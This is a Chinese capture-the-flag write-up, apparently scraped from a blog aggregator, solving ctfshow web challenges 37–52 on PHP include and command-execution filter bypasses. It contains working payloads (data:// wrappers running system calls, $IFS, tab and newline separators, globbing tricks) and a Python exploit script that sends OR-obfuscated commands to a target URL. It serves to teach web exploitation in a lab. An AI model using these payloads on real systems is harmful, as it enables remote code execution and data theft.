ctfshow-web入门37-52

这篇具有很好参考价值的文章主要介绍了ctfshow-web入门37-52。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

ctfshow-web入门37-52,前端

include($c);表达式包含并运行指定文件。

使用data伪协议

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

是<?php system('cat flag.php');?> base64加密

源代码查看得到flag

38

ctfshow-web入门37-52,前端

多禁用了php和file。不会改变伪协议,继续使用上一题命令

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

39

ctfshow-web入门37-52,前端

被添加了".php"​后缀,data://text/plain,​就相当于已经执行了php语句并闭合了,所以此处添加的.php​并不会有影响。

 把上一题的base64加密改回去就行了

?c=data://text/plain,<?php system('cat f*')?>

40

ctfshow-web入门37-52,前端

过滤了数字和各种符号

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

41

ctfshow-web入门37-52,前端

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数getflag
用法 python exp.py <url>

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

ctfshow-web入门37-52,前端

ctfshow-web入门37-52,前端

42

ctfshow-web入门37-52,前端

>/dev/null 命令不回显   使用;即可绕过

ctfshow-web入门37-52,前端

?c=cat f*;

查看源代码

ctfshow-web入门37-52,前端

43

ctfshow-web入门37-52,前端

禁用了;可以使用

%0a(换行符)

|     执行前面那条命令

||   执行后面那条命令

&  都执行

&& 都执行

ctfshow-web入门37-52,前端

cat被禁用可以使用 nl tac

ctfshow-web入门37-52,前端

查看源代码得到flag

44

ctfshow-web入门37-52,前端

多禁用一个flag,没啥区别 使用之前代码就行

ctfshow-web入门37-52,前端

45

多禁用了个空格 使用%09    都可以绕过

ctfshow-web入门37-52,前端

ctfshow-web入门37-52,前端

或者?c=echo$IFS`tac$IFS*`%0A

?c=nl$IFS$9f*||

46

禁用了数字但并不影响%09

*号被禁可以使用fl''ag  或fla?

ctfshow-web入门37-52,前端

ctfshow-web入门37-52,前端

47

ctfshow-web入门37-52,前端

?c=nl<fl''ag.php||

?c=nl%09fla?.php||

48

使用上一题命令就行

ctfshow-web入门37-52,前端

?c=nl<fl''ag.php||

49

一样

?c=nl<fl''ag.php||

50

同理

51

过滤了tac

使用nl继续

52

ctfshow-web入门37-52,前端

<> %09 都禁了使用$IFS

 ?c=nl${IFS}fl''ag.php||文章来源地址https://www.toymoban.com/news/detail-741127.html

到了这里,关于ctfshow-web入门37-52的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 《CTFshow-Web入门》07. Web 61~70

    ctf - web入门 web61~70:post 请求之 eval() 利用。 这几个题都和 web58 一样。可能内部禁用的函数不一样吧。但 payload 都差不多。不多解释了。 以下解法随便挑一个即可。可能不同题会有部分函数被禁。 payload1 : payload2 : payload3 : payload4 : 题目没变化。 随便试一个函数。 根据

    2024年02月01日
    浏览(34)
  • ctfshow-web入门-爆破wp

    ​进入主页为登录框,随便输入信息用burp抓包,发现Authorization认证使用Base64加密传输,解密发现为刚才输入的信息 右键发送至Intruder进行爆破,使用题目给出的字典进行爆破并添加变量 添加前缀使用户名固定并用Base64加密传输,记得取消勾选url-encode,不然会转义Base64的\\\"=

    2024年02月05日
    浏览(37)
  • ctfshow-web入门——爆破(web21-web28)

    1.bp工具的使用 bp爆破的大概步骤: 抓包,Send to Intruder,Positions页面,add$(加入想要爆破的值),Payloads页面,Payload Options,Load,导入想跑的字典,点击Start attack custom iterator(自定义迭代器)模式: payload type选Custom iterrator,position1填admin,position2填: ,position3导入字典,按照

    2024年02月04日
    浏览(30)
  • ctfshow-Web入门-命令执行wp

    ​简单的命令执行,使用/i模式过滤大小写flag,可以使用通配符绕过过滤。 ​比上一题多过滤system与php,可以使用其他函数来执行命令,具体可以参考PHP中常见的命令执行函数与代码执行函数_-passthru-CSDN博客 ​多过滤cat,sort,shell,\\\'.\\\',空格,\\\'\\\'\\\' ​cat,sort可用其他查询命令,如

    2024年02月05日
    浏览(67)
  • CTFShow-WEB入门篇命令执行详细Wp(29-40)

    CTFShow 平台:https://ctf.show/ preg_match():函数执行一个正则表达式匹配。 这里过滤了 flag/i 过滤的不是很多就两个所以方法有很多种 ctfshow{f6702830-5d6b-4cfb-9678-4ae7fa2ba198} 过滤了 flag、system、php 其实还可以使用上面的方法换一个命令执行函数即可。 命令执行函数: passthru、she

    2024年02月10日
    浏览(31)
  • ctfshow-web14

    CTF 加解密合集 CTF Web合集 首先看到这个,swith,那么直接输入4,则会打印$url的值 然后访问一下 查看一下,发现完整的请求是http://c7ff9ed6-dccd-4d01-907a-f1c61c016c15.challenge.ctf.show/here_1s_your_f1ag.php?query=1 查看注释,发现还有一些内容被处理了: 首先先测试注入,发现是数字型的,

    2024年02月11日
    浏览(26)
  • ctfshow-web3

    CTF 加解密合集 CTF Web合集 这个题目一看就知道是一个文件包含漏洞 php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。 所以就可以直接执行命令 发现一个ctf_go_go_go的文件,然后读取就是了 以上

    2024年02月15日
    浏览(28)
  • ctfshow-web13 文件上传

    CTF 加解密合集 CTF Web合集 网络安全知识库 文中工具皆可关注 皓月当空w 公众号 发送 工具 获取 首先看到是一个上传页面,测试其他无果,遂进行目录遍历,发现upload.php.bak文件 可以看到这里的限制条件,大小,以及内容,这里可以使用.user.ini进行上传,具体参考:

    2024年02月11日
    浏览(27)
  • ctfshow命令执行(web29-web52)

    目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 web45 web46 web47 web48 web49 web50 web51 web52 代码解释判断是否存在GET型参数c 如果存在赋值给变量c 如果参数值没有匹配到字符串flag则执行代码 eval() 直接传参 第一种方法 ?c=system(\\\'ls\\\'); ?c=system(\\\'tac f*\\\'); 第二

    2024年01月20日
    浏览(33)
  • CTFshow web入门---web56

    题目: 题目分析: 查看本题,发现本题为命令执行类题目,但是有一个很致命的点,那么就是他过滤了所有的字母和数字,以及一系列的符号。因此本题最值得推敲的点就是如何实现 无字母数字的命令执行 通过拜读P神的一篇文章,其中《无字母数字webshell之提高篇》讲到了

    2023年04月22日
    浏览(29)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包